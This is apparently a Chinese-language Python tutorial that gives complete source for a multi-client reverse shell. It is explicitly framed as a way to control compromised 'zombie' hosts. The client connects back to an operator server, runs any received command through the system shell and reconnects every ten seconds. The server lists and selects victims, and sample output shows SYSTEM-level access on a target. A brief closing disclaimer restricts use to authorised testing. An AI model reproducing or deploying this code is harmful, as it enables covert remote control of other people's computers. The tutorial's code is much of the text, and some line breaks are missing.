Python實例題：Python3實現可控制肉雞的反向Shell

Python實例題

題目

Python3實現可控制肉雞的反向Shell

代碼實現

reverse_shell_client.py

import socket
import subprocess
import os
import sys
import platform
import threading
import timeclass ReverseShellClient:def __init__(self, server_host, server_port):self.server_host = server_hostself.server_port = server_portself.client = Noneself.connected = Falseself.system_info = f"{platform.system()} {platform.release()} ({platform.machine()})"def connect(self):"""連接到服務端"""try:self.client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.client.connect((self.server_host, self.server_port))self.connected = True# 發送系統信息self.client.send(self.system_info.encode())print(f"[+] 已連接到服務端: {self.server_host}:{self.server_port}")# 啟動接收命令的線程command_thread = threading.Thread(target=self.receive_commands)command_thread.daemon = Truecommand_thread.start()# 保持主線程運行while self.connected:time.sleep(1)except Exception as e:print(f"[-] 連接失敗: {e}")self.disconnect()def receive_commands(self):"""接收并執行服務端發送的命令"""while self.connected:try:command = self.client.recv(1024).decode()if command.lower() == "exit":self.disconnect()breakif command:# 執行命令并獲取輸出output = self.execute_command(command)# 發送輸出到服務端self.client.send(output.encode())except Exception as e:print(f"[-] 接收命令失敗: {e}")self.disconnect()breakdef execute_command(self, command):"""執行命令并返回輸出"""try:# 處理cd命令if command.startswith("cd "):directory = command[3:].strip()if os.path.exists(directory) and os.path.isdir(directory):os.chdir(directory)return f"已切換到目錄: {os.getcwd()}"else:return f"目錄不存在: {directory}"# 執行其他命令output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)return output.decode(errors="ignore")except Exception as e:return str(e)def disconnect(self):"""斷開與服務端的連接"""self.connected = Falseif self.client:self.client.close()self.client = Noneprint("[+] 已斷開連接")if __name__ == "__main__":if len(sys.argv) != 3:print(f"用法: {sys.argv[0]} <服務端地址> <服務端端口>")sys.exit(1)server_host = sys.argv[1]server_port = int(sys.argv[2])# 持久化連接（嘗試在斷開后重新連接）while True:client = ReverseShellClient(server_host, server_port)client.connect()print(f"[+] 嘗試在10秒后重新連接...")time.sleep(10)

reverse_shell_server.py

import socket
import threading
import sys
import os
import timeclass ReverseShellServer:def __init__(self, host, port):self.host = hostself.port = portself.server = Noneself.clients = {}  # 存儲已連接的客戶端self.client_id = 0  # 客戶端ID計數器def start(self):"""啟動服務端"""try:self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)self.server.bind((self.host, self.port))self.server.listen(5)print(f"[+] 服務端已啟動，監聽地址: {self.host}:{self.port}")# 啟動接受客戶端連接的線程accept_thread = threading.Thread(target=self.accept_connections)accept_thread.daemon = Trueaccept_thread.start()# 啟動命令行界面self.command_interface()except Exception as e:print(f"[-] 啟動服務端失敗: {e}")if self.server:self.server.close()sys.exit(1)def accept_connections(self):"""接受客戶端連接"""while True:try:client_socket, client_address = self.server.accept()print(f"[+] 新連接來自: {client_address}")# 為新客戶端分配IDself.client_id += 1client_info = {"socket": client_socket,"address": client_address,"id": self.client_id}self.clients[self.client_id] = client_info# 啟動處理客戶端命令的線程client_thread = threading.Thread(target=self.handle_client, args=(client_info,))client_thread.daemon = Trueclient_thread.start()except Exception as e:print(f"[-] 接受連接失敗: {e}")def handle_client(self, client_info):"""處理客戶端命令和響應"""client_id = client_info["id"]client_socket = client_info["socket"]try:# 獲取客戶端系統信息client_info["system_info"] = client_socket.recv(1024).decode()print(f"[+] 客戶端 {client_id} 系統信息: {client_info['system_info']}")while True:# 如果當前選中該客戶端，則等待命令輸入if self.current_client == client_id:command = input(f"[客戶端 {client_id}] $ ")if command.lower() == "exit":client_socket.send(command.encode())breakif command.lower() == "back":self.current_client = Nonecontinueif command:client_socket.send(command.encode())response = client_socket.recv(4096).decode()print(response)else:# 否則等待一小段時間再檢查time.sleep(0.1)except Exception as e:print(f"[-] 與客戶端 {client_id} 通信失敗: {e}")finally:# 關閉連接并從客戶端列表中移除client_socket.close()if client_id in self.clients:del self.clients[client_id]print(f"[+] 客戶端 {client_id} 連接已關閉")def command_interface(self):"""命令行界面"""self.current_client = Nonewhile True:try:if self.current_client is None:command = input("[主控制臺] $ ").strip().lower()if command == "list":self.list_clients()elif command.startswith("select "):try:client_id = int(command.split()[1])if client_id in self.clients:self.current_client = client_idprint(f"[+] 已選中客戶端 {client_id}")else:print("[-] 無效的客戶端ID")except ValueError:print("[-] 客戶端ID必須是整數")elif command == "exit":# 關閉所有客戶端連接for client_id in list(self.clients.keys()):try:self.clients[client_id]["socket"].send("exit".encode())self.clients[client_id]["socket"].close()except:passdel self.clients[client_id]self.server.close()print("[+] 服務端已關閉")breakelif command == "help":self.print_help()else:print("[-] 未知命令。輸入 'help' 獲取幫助。")except KeyboardInterrupt:print("\n[-] 檢測到Ctrl+C，輸入 'exit' 退出")def list_clients(self):"""列出所有已連接的客戶端"""print("[+] 已連接的客戶端:")print("ID\t地址\t\t系統信息")print("-" * 50)for client_id, client_info in self.clients.items():addr = f"{client_info['address'][0]}:{client_info['address'][1]}"sys_info = client_info.get("system_info", "未知")print(f"{client_id}\t{addr}\t{sys_info}")def print_help(self):"""打印幫助信息"""print("可用命令:")print("  list               - 列出所有已連接的客戶端")print("  select <id>        - 選擇要控制的客戶端")print("  exit               - 退出程序")print("  help               - 顯示此幫助信息")print("\n客戶端控制模式下的命令:")print("  任何命令           - 在客戶端執行命令")print("  back               - 返回主控制臺")print("  exit               - 關閉與客戶端的連接")if __name__ == "__main__":if len(sys.argv) != 3:print(f"用法: {sys.argv[0]} <監聽地址> <監聽端口>")sys.exit(1)host = sys.argv[1]port = int(sys.argv[2])server = ReverseShellServer(host, port)server.start()

實現原理

這個反向 Shell 工具基于以下核心技術實現：

反向連接機制：
- 客戶端主動連接到服務端
- 適合在目標主機位于防火墻后或 NAT 設備之后的情況
- 服務端可以同時管理多個客戶端連接
命令執行與傳輸：
- 服務端發送命令到客戶端
- 客戶端執行命令并返回結果
- 使用線程處理多個客戶端連接
功能特點：
- 支持多客戶端管理
- 獲取客戶端系統信息
- 支持基本文件操作（cd 命令）
- 斷線自動重連（客戶端）

關鍵代碼解析

服務端命令處理

def handle_client(self, client_info):client_id = client_info["id"]client_socket = client_info["socket"]try:client_info["system_info"] = client_socket.recv(1024).decode()print(f"[+] 客戶端 {client_id} 系統信息: {client_info['system_info']}")while True:if self.current_client == client_id:command = input(f"[客戶端 {client_id}] $ ")if command.lower() == "exit":client_socket.send(command.encode())breakif command.lower() == "back":self.current_client = Nonecontinueif command:client_socket.send(command.encode())response = client_socket.recv(4096).decode()print(response)else:time.sleep(0.1)except Exception as e:print(f"[-] 與客戶端 {client_id} 通信失敗: {e}")finally:client_socket.close()if client_id in self.clients:del self.clients[client_id]print(f"[+] 客戶端 {client_id} 連接已關閉")

客戶端命令執行

def execute_command(self, command):try:# 處理cd命令if command.startswith("cd "):directory = command[3:].strip()if os.path.exists(directory) and os.path.isdir(directory):os.chdir(directory)return f"已切換到目錄: {os.getcwd()}"else:return f"目錄不存在: {directory}"# 執行其他命令output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)return output.decode(errors="ignore")except Exception as e:return str(e)

客戶端持久化連接

# 持久化連接（嘗試在斷開后重新連接）
while True:client = ReverseShellClient(server_host, server_port)client.connect()print(f"[+] 嘗試在10秒后重新連接...")time.sleep(10)

使用說明

啟動服務端：

python3 reverse_shell_server.py 0.0.0.0 9999

啟動客戶端（在目標機器上）：

python3 reverse_shell_client.py <服務端IP> 9999

服務端操作：

[主控制臺] $ list
[+] 已連接的客戶端:
ID	地址		系統信息
--------------------------------------------------
1	192.168.1.100:54321	Windows 10 (AMD64)[主控制臺] $ select 1
[+] 已選中客戶端 1
[客戶端 1] $ whoami
nt authority\system
[客戶端 1] $ dirVolume in drive C has no label.Volume Serial Number is 1234-5678Directory of C:\Users\Administrator01/01/2023  08:00 AM    <DIR>          .
01/01/2023  08:00 AM    <DIR>          ..
01/01/2023  08:00 AM             1,234 document.txt
...

注意事項

合法性：
- 此工具僅用于合法的安全測試和授權的滲透測試
- 在使用前必須獲得系統所有者的明確授權
- 未經授權使用此工具可能違反法律
安全風險：
- 此工具可能被用于惡意目的
- 請妥善保管，避免未授權訪問
- 建議在受控環境中測試
改進建議：
- 添加加密通信（SSL/TLS）
- 實現命令歷史記錄
- 添加文件上傳 / 下載功能
- 實現更復雜的權限控制
- 添加心跳機制檢測連接狀態